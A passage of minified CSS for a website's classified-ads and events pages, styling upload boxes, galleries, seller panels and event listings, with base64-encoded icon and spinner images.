MEXhxaIh2Ki5huYAQgn0MmbhtZDyogGxsLKgUOHKdxq6eVnw58YAGfDw0aCJqZDpEje14hr0IkERiYqRZ4xW/gHQPWQg8Bp+Fv0Gom6W8cs+RCGxzb4MNaA43qVvJDDw5QwRl3iIAfL/j8EYmFygsBQ1hONASTQeGVAuj2nMCiIhVCi1gygOMDyQgLCnHejACZ5RujEIKIiPTDoR/LIw98qQJQkQj+ixCbECy4mWUDujEwiVQw9gUZ0SwB3FUgIqARBptPcWoDJmDIAYEAImTVEsEZGDQtEjRCAHHslQsIgIUV8mEkAA1utRhI2eFDiwcQUpXMe6UjKgQPQPhBTBjLg2aLQLRz47cxFl8pTVhg6tTykW9wRkjYVMDzRbsKGIzsMNg0EX17GKAMN9R1kQ3bOoQwGC6eba+bnKxq+7sF7pQhQqTzXbyLsRApmLoqLsQwHw4K0pWm3qIAapd91lEv5sbBZD6VqdcdaWJCQ8bFAcsFwQIC39auGwhkXBfVyuIapFJZWcAg4IltcK0mVgtfMZXAbwSG01ZVzlzl2gNboUeEKeH+dNCZZVEJNNUQLIiyDQLM5YVCYM4kRYR306QQk1ss1HMUGAmVA9RO4rlF3nMzDmGdG9uNlUEwAOBHhETOnCLCWBwKhBcWJGSoSQc93YRROh1gQNwRKmTkxgpBksPCCu6AMZ0W56XCAQoK0TPNGzm2xNQbEASA1SAPeGDfnQD0mMYIq8BRQgQH3kHCCiUg6cV/3hSqCAIGqLDnESw0YMCfmXwh6B2xMLWfAA5k0MAEGxyAwgAFrCBAM4XC0UGdeICAAVgTbbIJl31goGQkJASYyUSrNZkbAAp8SY4Kyt25q67GAhDCr/KwYMKOdkW7EyYhmHApSA9U8ME+fB0ExgciFXz7FDYfQJZKbn2ZkKJniZnggAYfcBDCEwwoYN4C6t4RBAA7UlpLZDlmTkIreWY2U2Mzd3pVNG1sWlpXSzZZUHZ3YWR6dTJhVWFGK1NWUUd0SFdhS010dnBwelNlZGtwbkNKcA==);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:35% auto auto;width:30px}.AD_ListNoStyle .hidden,.AD_UploadPhoto .AD_Photo span.hidden,.AD_UploadPhoto .hidden{display:none}.AD_UploadPhoto .AD_Delete{background-color:rgba(248,248,248,0.8);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAAChyAAAocgF7isG5AAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAKHSURBVHja5Js7TiNBEEDfFBMiX4AbcJ6VVhaBRW5xCI6AyBGBZSE5ItjTbLLBXsAiZOUN3IOGAYb5VHVXQSeWLLvc73mmu6ZLVf0+pztOgJ/AFVABt8AWeCbWqIFr4BL4A9wAD8C/9oeqjoAT4B646ATbActAEur0p/3ovL8BVm0JMgCeFGibAkeFJ7HdJ9ZXAvrgI0nog39XQj0Qvi0Bp7fDEPi2BIBVnRa8ixE/5FHCGPi2hF+SVvuxw9PtMAW+GVeStjqCSpgDD1BJ2ucJKGEuPMCtpCC7YBI04HfAVtJCtgwkQQt+CTw3eUAUCarw3UzQuwR1+K4AzxJM4N8T4FGCGfxHAjxJMIXvE+BBgjn8ZwJKSsgCP0RACQnZ4IcKyCkhK/wYATkkZIcfK8BSQhF4Jq7OjQRmTLj53mV6vSsBD29PhXNvU/v0uigBP/UK0LwS5oDPhp+yBlisCcXgNQSUkqBWqBGlCeWUoFqlEsWJ5ZCgXqIT5QlaSjCpT4rBRC0kmBVn5+QBn41T4K/CVrcHzoAni0kK33xYCahTertQiLVIseooAjRSZI1DlSICLOBNJUgQeDMJEgjeRIIEg1eXIAHhVSVIYfh961CkiAQpCL9LGd4ZBStQXio2WmeMo58XxAG81gPUpCtBHMAXlSBO4ItJEEfwRSSIM/jsEsQhfFYJ4hQ+mwRxDJ9FgjiHN5cgAeBNJUgQeDMJdSD4rgSVZ4c6BYsCry3hUYB1MHjN22EtwCEgvJaEg3DsqIwIryHhRji2k26Cws+RsAEehGMb6WqgBM8ttGMkvLTQNnnAEAkR+oeHSHjVP9zOBPskRGqe7pPwpnm6+uLt88u0zR/4oH3+/wDcuzyspCSUCwAAAABJRU5ErkJggg==);background-position:center;background-repeat:no-repeat;background-size:85%;bottom:2px;height:20px;position:absolute;right:2px;width:20px}.AD_UploadPhoto .AD_Delete:hover{cursor:pointer}#AD_SelectCountry > .custom-combobox > .custom-combobox-input{display:inline-block;height:15px;margin:0;padding:1px}#AD_SelectCountry > .custom-combobox > .ui-button{border-left:0;padding:.23em 1em}.AD_MainLayout{float:left;margin-right:-300px;width:100%}.AD_SidebarLayout{float:right;margin-bottom:4px;width:295px}.panel .AD_SectionTitle p{border-bottom:1px solid #1675bc;color:#1675bc;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.05em;margin:.5em 0;padding-bottom:2px;text-transform:uppercase}.AD_SectionTitle{padding:5px}.AD_SectionGallery{margin-bottom:10px;position:relative;text-align:center;width:100%}#AD_MainImg,#AD_Thumbs{box-sizing:border-box;display:inline-block;margin:0 auto;vertical-align:top}#AD_MainImg{margin-bottom:10px;margin-right:1%;min-width:300px;width:50%}#AD_Thumbs{min-width:300px;width:40%}.AD_Thumb img{visibility:hidden;width:100%}.AD_Thumb{background-color:#e5f1f9;background-position:center;background-repeat:no-repeat;background-size:contain;border:3px solid #e5f1f9;box-sizing:border-box;display:inline-block}#AD_MainImg .AD_Thumb{height:425px;width:100%}#AD_Thumbs .AD_Thumb{float:left;height:135px;margin:0 2% 10px;width:45%}#AD_Thumbs .AD_Thumb.active{-khtml-opacity:.6;-moz-opacity:.6;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0.6);border-color:#1675bc;filter:alpha(opacity=0.6);opacity:.6}.AD_SectionDescription{font-size:10px}.AD_ListDesc li{padding:5px}.AD_ListDesc li:nth-child(2n + 1){background-color:#dceaf5}.AD_ListDesc li:nth-child(2n){background-color:#e5f1f9}.AD_ListDesc .AD_ListDescLabel{display:inline-block;font-weight:700;width:150px}.AD_ListDesc .AD_ListDescLabel img{margin:0 5px;vertical-align:middle;width:16px}.AD_Description{margin-top:25px}.AD_Description p{word-break:break-word}.AD_SidebarLayout .AD_Block{margin-bottom:10px}.AD_SidebarLayout .AD_Block .AD_BlockTitle p{font-size:1.05em;margin:0;padding:0}.AD_SidebarLayout .AD_Block .AD_BlockTitle{margin:0;padding:10px 1%;text-align:center}.AD_SidebarLayout .AD_Block .AD_BlockContent{padding:10px 1%}.AD_SellerIdentity .AD_ContentLeft,.AD_SellerIdentity .AD_ContentRight{box-sizing:border-box;font-size:10px}.AD_SellerIdentity .AD_ContentLeft{width:29%}.AD_SellerIdentity .AD_ContentRight{width:60%}.AD_SellerAvatar{background-position:center;background-repeat:no-repeat;background-size:cover;border-radius:50%;display:block;height:90px;width:90px}.AD_SellerName{font-weight:700}.AD_SellerIdentity .AD_ContentRight ul{line-height:30px;min-height:90px}.AD_SellerIdentity .AD_ContentRight ul img{display:inline-block;vertical-align:middle;width:16px}.AD_SellerIdentity .AD_ContentRight ul span{display:inline-block;margin:0 5px;vertical-align:middle}.pro_number_blank span{line-height:15px;margin:0 0 0 22px !important}.AD_Button{background:#eee;display:block;margin-bottom:5px;padding:5px 0;text-align:center;text-decoration:none;width:100%}.AD_Button:hover{background:#ccc;text-decoration:none!important}.AD_ListOptions{width:100%}.AD_ListOptions li{background:#cadceb;color:#1675bc;height:75px;list-style-type:none;margin:5px 1% 0;text-align:center;width:48%}.AD_ListOptions li:hover{opacity:.6}.AD_ListOptions li img{display:block;margin:auto;padding:10px 0;width:30px}.AD_ListOptions li a,.AD_ListOptions li a:hover{display:block;font-size:10px;height:100%}.AD_Label{float:left;padding:10px 0}.AD_StatusList span.AD_StatusLabel{vertical-align:top}.AD_StatusLabel{background:#1675bc;border-radius:5px;color:#fff;font-size:10px;font-weight:400;margin-right:5px;padding:5px;white-space:nowrap}.AD_DateLabel{font-size:10px;font-weight:400}.header ul{margin:2px 0 4px;width:100%}.AD_Header li{color:#fff!important;font-family:inherit;font-size:1.2em;text-transform:uppercase;vertical-align:middle}.AD_Header li select{padding:0}.AD_Row{list-style-type:none}.AD_Row p{font-size:10px;margin:0;padding:0}.AD_Row li{vertical-align:middle}.AD_Item .col1{min-width:120px;position:relative;width:10%}.AD_Item .col2,.AD_Item .col3{font-size:12px;width:25%}.AD_Item .col4{text-align:center;width:15%}.AD_Item .col5{text-align:right;width:15%}a.AD_Image{background-position:center;background-repeat:no-repeat;background-size:cover;border:3px solid #e5f1f9;display:block;height:100px;margin:5px auto;position:relative;vertical-align:middle;width:120px}ul.AD_Item{display:block;margin:10px 0;max-height:150px;position:relative}ul.AD_Infos li{margin:0 5px;text-align:left}ul.AD_Infos li p{line-height:30px}ul.AD_Infos li img{vertical-align:middle;width:16px}a.AD_Title{color:#0372be;display:block;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;font-weight:700;line-height:1.5em;margin:0 10px;text-decoration:none;width:95%;word-break:break-word;word-wrap:break-word}.AD_Price{font-size:12px;font-weight:700;word-wrap:break-word}.AD_Price.text-justify{text-align:justify!important}.AD_TopImg{background:rgba(248,248,248,0.8);bottom:0;display:block;height:15%;padding:3px 0;position:absolute;right:0;text-align:center;width:100%}.AD_NbPhoto{color:#404040;display:inline-block;font-size:12px;font-weight:700;height:16px}.AD_IconPhoto{display:inline-block;height:16px;margin:0 5px;vertical-align:top;width:16px}.AD_TopImg:after{clear:both}.AD_SearchBox{-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#e5f1f9;border-radius:5px;box-sizing:border-box;display:block;height:30px;line-height:20px;padding:5px;width:100%}.AD_Filters{display:block;height:10px;margin-bottom:5px;position:relative;text-align:right;width:99%}.AD_Preview{box-sizing:border-box;display:block;height:auto;line-height:20px;width:100%}.AD_Preview .h3{margin-top:5px}.AD_PreviewContent{-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#cadceb;border-radius:5px;padding:5px}.AD_Preview .AD_PreviewTitle{font-size:12px;font-weight:700;margin:5px 0 10px}#AD_Form input,#AD_Form select,#AD_Form textarea{background-color:#fff;box-sizing:border-box;color:#666}.filter_ads{background-color:#fff;color:#666}#AD_Form input.error,#AD_Form input.has-help-txt,#AD_Form input.valid,#EV_Form input.error,#EV_Form input.has-help-txt,#EV_Form input.valid{padding-right:25px}#EV_Form input.inputbox,#EV_Form select{box-sizing:border-box;height:20px;min-width:70px}.input-button{position:relative}.input-button span{position:absolute;text-align:center;top:50%;transform:translateY(-50%);width:20px;z-index:2}.input-button input{padding-left:20px}.AD_localisation{position:relative}.AD_SectionDescription #mod_comment{margin:10px 0}.button-custom{-moz-border-radius:5px;-webkit-border-radius:5px;background:#fff;background-image:linear-gradient(tobottom,#fff,#d6d6d6);border:solid #aaa 1px;border-radius:5px;cursor:pointer;font-weight:700;padding:10px 20px 10px 15px;position:relative;text-decoration:none}.button-custom:hover{background:#eee}.button-custom,.button-custom:after,.button-custom:before{-moz-transform-style:preserve-3d;-moz-transition:-moz-transform 0.75s,background-color .125s;-ms-transform-style:preserve-3d;-ms-transition:-ms-transform 0.75s,background-color .125s;-webkit-transform-style:preserve-3d;-webkit-transition:-webkit-transform 0.75s,background-color .125s;transform-style:preserve-3d;transition:transform 0.75s,background-color .125s}.button-custom:after,.button-custom:before{-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden;bottom:0;left:0;position:absolute;right:0;top:0}.button-custom:before{z-index:2}.button-custom i.ic-geo{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAQAAAD8x0bcAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAACYktHRAD/h4/MvwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAL9JREFUKM9jKGUgDFG5zKVupeVA6Apk4VBkXHqj9D8UXis1xKZIq/QTXAkIfizVwFS0Byr5CSgNYe1EVyQBlVhUygaEi8Hsf6ViqIqsoYq0wDxtKM8KVZEuVNgfzAuC8rRRFbGUfgALvy2tKK0sfQdmvweKojl8NorfQHAWpu80S/+iKPkLFMESmPNQFM3BHuJiQBfBlLwpFcUVdxFwReG4I5ihdD5YyVx8qYChlLP0LBBy4FfEUCoNhAyEFGGBAJPj825MoCeBAAAAAElFTkSuQmCC);background-position:left center;background-repeat:no-repeat;float:left;height:18px;margin:-3px 2px 0;width:18px}.button-custom:after{-moz-border-radius:5px;-moz-transform:rotateX(180deg);-ms-transform:rotateX(180deg);-webkit-border-radius:5px;-webkit-transform:rotateX(180deg);background-color:#999;background-image:url(data:image/gif;base64,R0lGODlhEAAQAPIAAJmZmf///7CwsOPj4////9fX18rKysPDwyH+GkNyZWF0ZWQgd2l0aCBhamF4bG9hZC5pbmZvACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQACgABACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkEAAoAAgAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkEAAoAAwAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkEAAoABAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQACgAFACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQACgAGACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAAKAAcALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==);background-position:center center;background-repeat:no-repeat;border-color:#888;border-radius:5px;content:'';transform:rotateX(180deg);z-index:1}.button-custom.btn-loading{-moz-transform:rotateX(180deg);-ms-transform:rotateX(180deg);-webkit-transform:rotateX(180deg);transform:rotateX(180deg)}.AD_Form_MOD{margin:10px 0}#AD_RevisionTable{border-collapse:collapse;margin:10px 0;text-align:left;width:100%}#AD_RevisionTable .header{border-collapse:separate}#AD_RevisionTable th{border:1px solid #cadceb;padding:10px 5px}#AD_RevisionTable td{border-left:1px solid #cadceb;border-right:1px solid #cadceb;margin:0;padding:5px;width:30%}#AD_RevisionTable td:first-child{width:20%}.AD_Breadcrumb{margin:10px 0}.AD_StatusNoValid{background-color:#e67e22}.AD_StatusValid{background-color:#27ae60}.AD_StatusRejected{background-color:#c0392b}.AD_LastPA .AD_LastInfos{float:left;text-align:left;width:80%}.AD_LastPA a{width:100%;word-break:break-all;word-wrap:break-word}.AD_BlockContent #moderationinfos div{margin-top:1em;word-wrap:break-word}.EV_StatusLabel{background-color:#d31141;border-radius:3px;color:#FFF;font-size:12px;font-weight:700;margin-right:9px;padding:3px 9px;vertical-align:middle;white-space:nowrap}.EV_HalfBlock{border:1px solid #ddd;box-sizing:border-box;display:inline-block;margin:0 1% 10px auto;min-height:425px;min-width:300px;vertical-align:top;width:48%}.EV_HalfBlock .AD_Thumb{height:425px;width:100%}.EV_HalfBlock .List_thumb .AD_Thumb{display:inline-block;margin:0 5px;max-height:60px;max-width:60px}.EV_HalfBlock .List_thumb{border-bottom:3px solid #eee;padding:10px 0}.EV_MainInfos{border-bottom:1px solid #eee;padding:20px 0}.EV_MainInfos div{box-sizing:border-box;display:inline-block;padding:0 10px;text-align:left;vertical-align:top;width:49%}.EV_MainInfos div:last-child{border-left:1px solid #444}.EV_MainInfosTitle{color:#777;font-size:16px;font-weight:700;text-transform:uppercase}.EV_MainInfosTitle img{margin:0 5px;width:12px}.EV_MainInfosDesc{font-size:13px;font-style:italic;padding-left:20px}.EV_MainMap{box-sizing:border-box;height:200px;width:100%}.EV_MainMap #img_map{background-position:center;background-size:cover;height:100%;width:100%}#AD_BlockModo > .AD_BlockContent .button2{margin:0!important;text-align:center;width:100%!important}.inline{display:inline-block;vertical-align:top}.EV_FixedTitle{height:70px}.EV_DateBlock{margin-right:5px}.EV_DateBlock p{background:#3793ff;color:#fff;margin:0;padding:2px 0;text-align:center;width:50px}#EV_BlockSeller .AD_ContentRight ul span{display:initial;word-break:break-word}.AD_Block .button2{height:36px;margin:0!important;text-align:center;width:100%!important}.EV_DateBlock .year{background:#d31141;font-size:11px}.EV_DateBlock .day{font-size:25px;font-weight:700;padding:0}.EV_DateBlock .dayString{font-size:10px}.EV_Ticket_link{margin-top:15px}.EV_FixedTitle h1{vertical-align:top}.EV_FixedTitle .sub-header-path{margin-top:5px;vertical-align:bottom}.EV_TagCategory{border-radius:3px;box-shadow:0 1px 2px rgba(0,0,0,0.3);color:#fff!important;display:inline-block;font-size:11px;font-weight:500;overflow:hidden;padding:6px 9px;position:relative;text-decoration:none;vertical-align:middle;width:auto!important}.EV_PanelView{box-sizing:border-box;margin-right:300px}.EV_ListOptions{padding:0!important;width:100%}.EV_ListOptions li{background:#cadceb;color:#1675bc;display:inline-block;height:75px;list-style-type:none;margin:5px 1% 0;position:relative;text-align:center;vertical-align:top;width:48%}.EV_ListOptions li img{display:block;margin:auto;padding:10px 0;width:30px}.EV_ListOptions li:hover{opacity:.6}.EV_ListOptions li a,.EV_ListOptions li button{color:#0372be;font-size:10px;text-decoration:none}.EV_ListOptions li a:hover,.EV_ListOptions li button:hover{color:#f60;text-decoration:underline!important}.EV_ListOptions li button{background:transparent;border:none;cursor:pointer;display:inline-block;height:75px;left:0;position:absolute;top:0;width:100%}.EV_ListOptions li button > span{left:0;position:absolute;top:50px;width:100%}.EV_TagColor_bg1{background-color:#4693d3}.EV_TagColor_bg2{background-color:#db6989}.EV_TagColor_bg12{background-color:#f44336}.EV_TagColor_bg13{background-color:#00838f}.EV_TagColor_bg3{background-color:#ffaf02}.EV_TagColor_bg5{background-color:#00a8c6}.EV_TagColor_bg14{background-color:#9db10b}.EV_TagColor_bg7{background-color:#ff7200}.EV_TagColor_bg8{background-color:#767690}.EV_TagColor_bg6{background-color:#77c04b}.EV_TagColor_bg15{background-color:#3f51b5}.EV_TagColor_bg10{background-color:#a868c2}.EV_TagColor_bg16{background-color:#009688}.EV_TagColor_bg4{background-color:#bd967a}.EV_TagColor_bg11{background-color:#f465af}.EV_List ul li{display:block;position:relative}.EV_List > .button{display:block;width:10%!important}.EV_List .pagination{display:block;float:none;margin:10px auto}.EV_ListMonth{background:#dceaf5;border-bottom:1px solid #1675bc;height:30px;line-height:30px;text-align:center;width:100%}.EV_ListMonth span{background-color:#dceaf5!important;font-size:20px;padding:0 10px}.EV_Item{background-color:#fff;display:block;height:100px;margin:15px auto;overflow:hidden;position:relative;width:100%}.EV_Item > div{display:block;float:left;max-height:100px}.EV_Item .EV_ItemDate,.EV_Item .EV_ItemImg{height:100%;width:100px}.EV_Item .EV_ItemImg img{max-height:100px;max-width:100px;width:100%}.EV_Item .EV_ItemDate{background-color:#1675bc;line-height:100px;padding:5px 0;text-align:center}.EV_Item .EV_ItemDate p{color:#fff;font-size:13px;font-weight:700;line-height:30px;width:100%}.EV_Item .EV_ItemDate p span:first-child{font-size:20px}.EV_Item .EV_ItemDate p span:last-child{font-size:18px;font-style:italic;font-weight:400}.EV_Item .EV_ItemDate p.EV_Days{margin:0!important;padding:5px 0!important}.EV_Item .EV_ItemDate p.EV_DaySolo{margin-top:25px}.EV_Item .EV_ItemDate hr{border-top-width:4px;color:#fff;height:1px;margin:auto;width:50%}.EV_Item .EV_ItemInfos{position:relative;width:70%}.EV_Item .EV_ItemInfos > div{display:inline-block;height:100px;padding:20px;width:10%}.EV_Item .EV_ItemInfos > div:first-child{width:50%}.EV_Item .EV_ItemInfos > div:nth-child(2){width:20%}.EV_Item .EV_ItemInfos .EV_ItemTitle a{display:block;font-size:18px;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.EV_Item .EV_ItemInfos .EV_ItemTitle p{font-size:13px;margin-top:10px}.EV_UploadPhoto{width:525px}.EV_UploadPhoto ul{margin:0;padding:0!important}.EV_UploadPhoto ul li{background:#eee;background-position:center;border:2px dashed #1675bc;float:left;height:100px;list-style-type:none;margin:0 10px 10px 0;padding:0;position:relative;width:100px}.EV_UploadPhoto ul li#EV_main_img{height:250px;width:430px}.EV_UploadPhoto .EV_Photo{cursor:pointer;display:block;height:100%;position:absolute;width:100%}.EV_UploadPhoto .EV_Photo input[type="file"]{-khtml-opacity:0;-moz-opacity:0;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0);filter:alpha(opacity=0);opacity:0}.EV_UploadPhoto .EV_Photo span{color:#000;display:block;text-align:center;width:100%}.EV_UploadPhoto .EV_Photo span.hidden{display:none}.EV_UploadPhoto .EV_Photo span:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAABuvAAAbrwFeGpEcAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAANISURBVHja7JvPa9RAFMfH+gtZ1FqKtCJ6EkXrweLR01JKFf0XFrT4gT0rCAvqVg+iIPTgqSIeFipIqYKLwh6kIFREClLwXE+iWG2l7UHdsl5epIZsNslmZpJmDw+WTSZ530+SN2/mzahGo6GybKoDoAMg4wAAnVYGGm1aWaePSRevHUIaxGuFkBbx2iCkSbwWCGkTHzuENIqPFUJaxccGwevPY0AJeAesWBQXl62IlpJoawqgH5jeBIJb2bRo/Q9AH7CQAfGOLYjmfwBmMyTesVkHQD6D4h3LK2AywwAmFTCXYQBzCljKMIAlZfiGX4AXksCcl+5oD3ACOAs8ABZN+mQKwG/gOrAtQHa2A7gE/NgsAOaBUxHS1D55W1IN4KE80ai5+lbgaVoBzLcp3rFu4FPaAPwBBtsUfgC4ozsW6AIw1obwQaAigTOVQfArsD2i+JLpXEAHgGoE4VuA+y260ZoAKgBDYgX5rxb1jdEBoBwh0j9ucq3PQFECYZBgWZQ2VgFcCCF+J/DM4xp1iSO5CG9TTtrWbQHoD+HsTY/2y8BIDN3niFzLOIDeEJneqof4gRbt3PfzO3egFQQdAM4EBDDh8doHefJhADhvQt0kgMsBnDru4VTQ3CEsACXXNgZgPIBDVY9on9MIINesd9ABYBHY7ePMYY82xRDBLQoAJfcwlgrf8HHkokeS020AQI9XLNAFYBnY18SRiuvcWsjuLSoABcyYHA6/kkTH7cR713klgwDGTE+IVD3mBNxj+0ILge3axmuP2pgSqwL7Nzix5jo+ZBDAsK1J0VXgNrAX+JVFAI59l9miRH0CtgsjNoPgzySUxmx2g2+TUBy1mQhdTUp53FYqfCgpCyRsDIZeJm2JjMnh8DpwMmmLpExOiDxK6jI5E1Nia1J10r5cPojdszApesvUfoGgBZEpg9PiU+6qlW0ACtgln5tfYaQnYD/vVxipSBFGJQ2AktHi6xYBckae7KgMaobl95gc8yuETABdprfMhLUu4FrMVeE6cFc+NZV0AI6dBj7GILwCHLG5aard4JgHnnjMH/jZuoxtjiZh11hc1ivBbRx4DnyQ7u0b8EbWIV0BzgEHQ+8X6Owc7QDoAMi0/R0A898zkDjdtWoAAAAASUVORK5CYII=);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:25px auto 5px;width:30px}.EV_UploadPhoto #EV_main_img .EV_Photo span:before{margin:100px auto 5px}.EV_UploadPhoto .progress{background:rgba(255,255,255,0.6);display:none;height:100%;left:0;margin:0;position:absolute;right:0;top:0;width:100%;z-index:3000}.EV_UploadPhoto div.progress:before{background-image:url(data:image/gif;base64,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